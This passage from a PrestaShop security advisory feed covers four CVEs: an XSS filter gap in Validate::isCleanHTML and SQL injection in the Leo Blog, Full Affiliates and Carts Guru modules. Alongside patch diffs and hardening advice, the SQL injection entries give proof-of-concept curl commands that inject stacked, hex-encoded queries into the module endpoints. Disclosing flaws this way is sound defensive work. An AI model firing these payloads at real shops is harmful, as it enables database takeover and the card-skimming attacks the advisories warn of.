</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="core" /><summary type="html"><![CDATA[PrestaShop is an open source e-commerce web application. Versions prior to 1.7.8.10, 8.0.5, and 8.1.1 are vulnerable to remote code execution through SQL injection and arbitrary file write in the back office. Versions 1.7.8.10, 8.0.5, and 8.1.1 contain a patch. There are no known workarounds.]]></summary></entry><entry><title type="html">[CVE-2023-39527] Possible XSS injection through Validate::isCleanHTML method</title><link href="https://security.friendsofpresta.org/core/2023/09/01/core-CVE-2023-39527.html" rel="alternate" type="text/html" title="[CVE-2023-39527] Possible XSS injection through Validate::isCleanHTML method" /><published>2023-09-01T00:00:00+00:00</published><updated>2023-09-01T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/core/2023/09/01/core-CVE-2023-39527</id><content type="html" xml:base="https://security.friendsofpresta.org/core/2023/09/01/core-CVE-2023-39527.html"><![CDATA[<p>ValidateCore::isCleanHTML() method of Prestashop misses hijickable events which can lead to XSS injection, allowed by the presence of pre-setup @Keyframes methods.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39527">CVE-2023-39527</a></li>
  <li><strong>Published at</strong>: 2023-08-07</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-xw2r-f8xv-c8xp">PrestaShop</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: PrestaShop</li>
  <li><strong>Impacted release</strong>: &gt;= 8.0.0 &lt; 8.0.5 and &lt; 1.7.8.10 (Patched versions 8.1.1, 8.0.5 and 1.7.8.10)</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a></li>
  <li><strong>Severity</strong>: high (8.3)</li>
</ul>

<h2 id="description">Description</h2>

<p>This XSS which hijacks HTML attributes will be triggered without any interaction of the visitor/administrator which makes it as dangerous as a trivial XSS.</p>

<p>Contrary to most XSS which target HTML attributes and which are triggered without user interaction (such as onload / onerror which suffer from a very limited scope), this one can hijack every HTML element, which increases the danger due to a complete HTML elements scope.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: high</li>
  <li><strong>User interaction</strong>: required</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: low</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Unlock design’s vulnerability, <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">see this also</a></li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/classes/Validate.php
</span><span class="gi">+++ b/classes/Validate.php
</span><span class="p">@@ -521,6 +521,7 @@</span> public static function isCleanHtml($html, $allow_iframe = false)
         $events .= '|ondragleave|ondragover|ondragstart|ondrop|onerrorupdate|onfilterchange|onfinish|onfocusin|onfocusout|onhashchange|onhelp|oninput|onlosecapture|onmessage|onmouseup|onmovestart';
         $events .= '|onoffline|ononline|onpaste|onpropertychange|onreadystatechange|onresizeend|onresizestart|onrowenter|onrowexit|onrowsdelete|onrowsinserted|onscroll|onsearch|onselectionchange';
         $events .= '|onselectstart|onstart|onstop|onanimationcancel|onanimationend|onanimationiteration|onanimationstart';
<span class="gi">+        $events .= '|onpointerover|onpointerenter|onpointerdown|onpointermove|onpointerup|onpointerout|onpointerleave|onpointercancel|ongotpointercapture|onlostpointercapture';
</span> 
         if (preg_match('/&lt;[\s]*script/ims', $html) || preg_match('/(' . $events . ')[\s]*=/ims', $html) || preg_match('/.*script\:/ims', $html)) {
             return false;

</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the PrestaShop.</li>
  <li>Configure CSP rules especially for your backoffice.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-xw2r-f8xv-c8xp">PrestaShop product repository</a></li>
  <li><a href="https://github.com/PrestaShop/PrestaShop/commit/afc14f8eaa058b3e6a20ac43e033ee2656fb88b4.patch">Patch</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39527">National Vulnerability Database CVE-2023-39527</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="core" /><summary type="html"><![CDATA[ValidateCore::isCleanHTML() method of Prestashop misses hijickable events which can lead to XSS injection, allowed by the presence of pre-setup @Keyframes methods.]]></summary></entry><entry><title type="html">[CVE-2023-39639] Improper neutralization of SQL parameter in LeoTheme - Leo Blog module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/08/31/leoblog.html" rel="alternate" type="text/html" title="[CVE-2023-39639] Improper neutralization of SQL parameter in LeoTheme - Leo Blog module for PrestaShop" /><published>2023-08-31T00:00:00+00:00</published><updated>2023-08-31T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/08/31/leoblog</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/08/31/leoblog.html"><![CDATA[<p>In the module “Leo Blog” (leoblog) up to version 3.1.2 from LeoTheme for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39639">CVE-2023-39639</a></li>
  <li><strong>Published at</strong>: 2023-08-31</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: leoblog</li>
  <li><strong>Impacted release</strong>: &lt;= 3.1.2 (3.1.3 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: LeoTheme</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">LeoBlogBlog::getListBlogs</code>, <code class="language-plaintext highlighter-rouge">LeoBlogBlog::countBlogs</code>, <code class="language-plaintext highlighter-rouge">LeoBlogBlog::findByRewrite</code> and <code class="language-plaintext highlighter-rouge">Leoblogcat::findByRewrite</code> have sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>POC 1 (SEEN IN 3.0.0) :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s2">"https://preprod.XX/module/leoblog/list?author=42@test.fr%22;select(0x73656C65637420736C656570283432293B)INTO@a;prepare</span><span class="sb">`</span>b<span class="sb">`</span><span class="s2">from@a;execute</span><span class="sb">`</span>b<span class="sb">`</span><span class="s2">;--"</span>
</code></pre></div></div>

<p>POC 2 (SEEN IN 3.0.6-) : only work if configuration <code class="language-plaintext highlighter-rouge">url_use_id</code> is set to 0</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s2">"https://preprod.XX/module/leoblog/blog?id=1';select(0x73656C65637420736C656570283432293B)INTO@a;prepare</span><span class="se">\`</span><span class="s2">b</span><span class="se">\`</span><span class="s2">from@a;execute</span><span class="se">\`</span><span class="s2">b</span><span class="se">\`</span><span class="s2">;--"</span>
</code></pre></div></div>

<h2 id="patch-from-3x">Patch from 3.X</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 3.0.0/modules/leoblog/classes/blog.php
</span><span class="gi">+++ 3.1.3/modules/leoblog/classes/blog.php
</span>    public static function findByRewrite($parrams)
    {
        $id_lang = (int)Context::getContext()-&gt;language-&gt;id;
        $id_shop = (int)Context::getContext()-&gt;shop-&gt;id;
        $id = 0;
        if(isset($parrams['link_rewrite']) &amp;&amp; $parrams['link_rewrite'])
        {
            $sql = 'SELECT bl.id_leoblog_blog FROM '._DB_PREFIX_.'leoblog_blog_lang bl';
            $sql .= ' INNER JOIN '._DB_PREFIX_.'leoblog_blog_shop bs on bl.id_leoblog_blog=bs.id_leoblog_blog AND id_shop='.$id_shop;
<span class="gd">-           $sql .= ' WHERE id_lang = ' . $id_lang ." AND link_rewrite = '".$parrams['link_rewrite']."'";
</span><span class="gi">+           $sql .= ' WHERE id_lang = ' . $id_lang ." AND link_rewrite = '".pSQL($parrams['link_rewrite'])."'";
</span><span class="err">...</span>
    public static function getListBlogs($id_category, $id_lang, $page_number, $nb_products, $order_by, $order_way, $condition = array(), $is_active = false, $id_shop = null)
    {
<span class="err">...</span>
                    else
					{
<span class="gd">-						$where .= ' AND author_name LIKE "%'.$condition['author_name'].'%"
</span><span class="gi">+						$where .= ' AND author_name LIKE "%'.pSQL($condition['author_name']).'%"
</span><span class="err">...</span>
    public static function countBlogs($id_category, $id_lang, $condition = array(), $is_active = false, $id_shop = null)
    {
<span class="err">...</span>
                    else
					{
<span class="gd">-						$where .= ' AND author_name LIKE "%'.$condition['author_name'].'%"';
</span><span class="gi">+						$where .= ' AND author_name LIKE "%'.pSQL($condition['author_name']).'%"';
</span>
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 3.0.0/modules/leoblog/classes/leoblogcat.php
</span><span class="gi">+++ 3.1.3/modules/leoblog/classes/leoblogcat.php
</span>    public static function findByRewrite($parrams)
    {
        $id_lang = (int)Context::getContext()-&gt;language-&gt;id;
        $id_shop = (int)Context::getContext()-&gt;shop-&gt;id;
        $id = 0;
        if(isset($parrams['link_rewrite']) &amp;&amp; $parrams['link_rewrite'])
        {
            $sql = 'SELECT cl.id_leoblogcat FROM '._DB_PREFIX_.'leoblogcat_lang cl';
            $sql .= ' INNER JOIN '._DB_PREFIX_.'leoblogcat_shop cs on cl.id_leoblogcat=cs.id_leoblogcat AND id_shop='.$id_shop;
            $sql .= ' INNER JOIN '._DB_PREFIX_.'leoblogcat      cc on cl.id_leoblogcat=cc.id_leoblogcat AND cl.id_leoblogcat != cc.id_parent';  # FIX : PARENT IS NOT THIS CATEGORY
<span class="gd">-           $sql .= ' WHERE id_lang = ' . $id_lang ." AND link_rewrite = '".$parrams['link_rewrite']."'";
</span><span class="gi">+           $sql .= ' WHERE id_lang = ' . $id_lang ." AND link_rewrite = '".pSQL($parrams['link_rewrite'])."'";
</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>leoblog</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-13</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-13</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-05-16</td>
      <td>PrestaShop Addons security Team confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-29</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/2_community-developer?contributor=190902&amp;id_category=3">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39639">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Leo Blog” (leoblog) up to version 3.1.2 from LeoTheme for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-39641] Improper neutralization of SQL parameter in Active Design - Full Affiliates module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/08/31/psaffiliate.html" rel="alternate" type="text/html" title="[CVE-2023-39641] Improper neutralization of SQL parameter in Active Design - Full Affiliates module for PrestaShop" /><published>2023-08-31T00:00:00+00:00</published><updated>2023-08-31T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/08/31/psaffiliate</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/08/31/psaffiliate.html"><![CDATA[<p>In the module “Full Affiliates” (psaffiliate) up to version 1.9.7 from Active Design for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39641">CVE-2023-39641</a></li>
  <li><strong>Published at</strong>: 2023-08-31</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: psaffiliate</li>
  <li><strong>Impacted release</strong>: &lt;= 1.9.7 (1.9.8 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Active Design</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">PsaffiliateGetaffiliatesdetailsModuleFrontController::initContent()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'https://preprod.X/module/psaffiliate/getaffiliatesdetails?getHasBeenReviewed=1&amp;ids_affiliate=1);select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span>
</code></pre></div></div>

<h2 id="patch-from-197">Patch from 1.9.7</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.9.7/modules/psaffiliate/controllers/front/getaffiliatesdetails.php
</span><span class="gi">+++ 1.9.8/modules/psaffiliate/controllers/front/getaffiliatesdetails.php
</span><span class="p">@@ -30 +30 @@</span> class PsaffiliateGetaffiliatesdetailsModuleFrontController extends ModuleFrontCo
<span class="gd">-            $result = Db::getInstance()-&gt;executeS('SELECT `id_affiliate` FROM `'._DB_PREFIX_.'aff_affiliates` WHERE `id_affiliate` IN ('.pSQL($ids_affiliate).') AND `has_been_reviewed`="0"');
</span><span class="gi">+            $result = Db::getInstance()-&gt;executeS('SELECT `id_affiliate` FROM `'._DB_PREFIX_.'aff_affiliates` WHERE `id_affiliate` IN ('.implode(',', array_map('intval', explode(',', Tools::getValue('ids_affiliate')))).') AND `has_been_reviewed`="0"');
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>psaffiliate</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-04-18</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-04-18</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-04-19</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-09</td>
      <td>PrestaShop Addons security Team confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-05-29</td>
      <td>PrestaShop Addons security Team confirm author provide a patch</td>
    </tr>
    <tr>
      <td>2023-08-29</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/referencement-payant-affiliation/26226-full-affiliates.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39641">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Full Affiliates” (psaffiliate) up to version 1.9.7 from Active Design for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-39642] Improper neutralization of SQL parameter in Carts Guru - Marketing automation multicanal module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/08/29/cartsguru.html" rel="alternate" type="text/html" title="[CVE-2023-39642] Improper neutralization of SQL parameter in Carts Guru - Marketing automation multicanal module for PrestaShop" /><published>2023-08-29T00:00:00+00:00</published><updated>2023-08-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/08/29/cartsguru</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/08/29/cartsguru.html"><![CDATA[<p>In the module “Marketing automation multicanal” (cartsguru) up to versions 2.4.2 from Carts Guru for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39642">CVE-2023-39642</a></li>
  <li><strong>Published at</strong>: 2023-08-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: cartsguru</li>
  <li><strong>Impacted release</strong>: &lt;= 2.4.2 [considered to be “truly” fixed on 2.4.3 - see note below]</li>
  <li><strong>Product author</strong>: Carts Guru</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">CartsGuruCatalogModuleFrontController::display()</code> and the ajax script controllers14/catalog.php has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Note : The author has deleted from its module the files that have been suffering from critical vulnerabilities for months, BUT did not set them to be “auto-deleted” during upgrades. Therefore, there are likely merchants out there with older versions who have updated their modules, thinking they are safe. However, there is nothing safe about this, since past upgrades did not auto-delete the implicated files. To ensure everyone has a “safe version”, we decided to mark all versions up to 2.4.3 as impacted by this issue.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards.</p>

<p>One of these exploits uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'https://preprod.XX/modules/cartsguru/controllers14/catalog.php?cartsguru_catalog_limit=1;select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span>
curl <span class="nt">-v</span> <span class="s1">'https://preprod.XX/?fc=module&amp;module=cartsguru&amp;controller=catalog&amp;cartsguru_catalog_limit=1;select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span>
</code></pre></div></div>

<h2 id="patch-from-1419">Patch from 1.4.19</h2>

<p>These files do not exist if you started working with Cartsguru beyond version 2.X BUT if you worked with them BEFORE 2.X versions - you should own it.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.19/controllers14/catalog.php
</span><span class="gi">+++ XXXXXX/controllers14/catalog.php
</span><span class="p">if ($isMultiStoreSupported) {
</span>    $id_shop = (int)Context::getContext()-&gt;shop-&gt;id;

    $sql .= ' JOIN ' . _DB_PREFIX_ . 'product_shop s ON p.id_product = s.id_product WHERE id_shop = ' . $id_shop;
    $sqlTotal .= ' JOIN ' . _DB_PREFIX_ . 'product_shop s ON p.id_product = s.id_product WHERE id_shop = ' . $id_shop;
<span class="err">}</span>

<span class="err">//</span> Set limit and offset
<span class="gd">-$sql .= ' LIMIT ' . pSQL($limit) . ' OFFSET ' . pSQL($offset);
</span><span class="gi">+$sql .= ' LIMIT ' . (int) $limit . ' OFFSET ' . (int) $offset;
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.19/controllers/front/catalog.php
</span><span class="gi">+++ XXXXXX/controllers/front/catalog.php
</span>        if (CartsGuruHelper::isMultiStoreSupported()) {
            $id_shop = (int)Context::getContext()-&gt;shop-&gt;id;

            $sql .= ' WHERE id_shop = ' . $id_shop;
            $sqlTotal .= ' WHERE id_shop = ' . $id_shop;
        }
        // Set limit and offset
<span class="gd">-       $sql .= ' LIMIT ' . pSQL($limit) . ' OFFSET ' . pSQL($offset);
</span><span class="gi">+       $sql .= ' LIMIT ' . (int) $limit . ' OFFSET ' . (int) $offset;
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>cartsguru</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-10-11</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2022-10-12</td>
      <td>Author contacted and provided a patch</td>
    </tr>
    <tr>
      <td>2023-04-18</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-04-19</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-09</td>
      <td>PrestaShop Addons confirms versions scopes</td>
    </tr>
    <tr>
      <td>2023-05-24</td>
      <td>Author provide a patch which auto-delete files from old versions</td>
    </tr>
    <tr>
      <td>2023-08-25</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/remarketing-paniers-abandonnes/22077-carts-guru-marketing-automation-multicanal.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39642">National Vulnerability Database</a></li>
